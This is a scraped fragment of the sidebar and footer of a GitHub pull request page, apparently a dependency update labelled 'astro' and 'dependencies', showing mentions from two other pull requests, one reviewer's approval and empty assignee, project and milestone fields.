@clerk-cookieclerk-cookie
mentioned this pull request
Apr 9, 2026
 Merged

@diegohazdiegohaz
mentioned this pull request
Apr 16, 2026
 Merged

Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers


1 more reviewer

@jacekradkojacekradkojacekradko approved these changes
Reviewers whose approvals may not affect merge requirements

Assignees


No one assigned


Labels

astrodependenciesPull requests that update a dependency file

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

1 participant

@jacekradko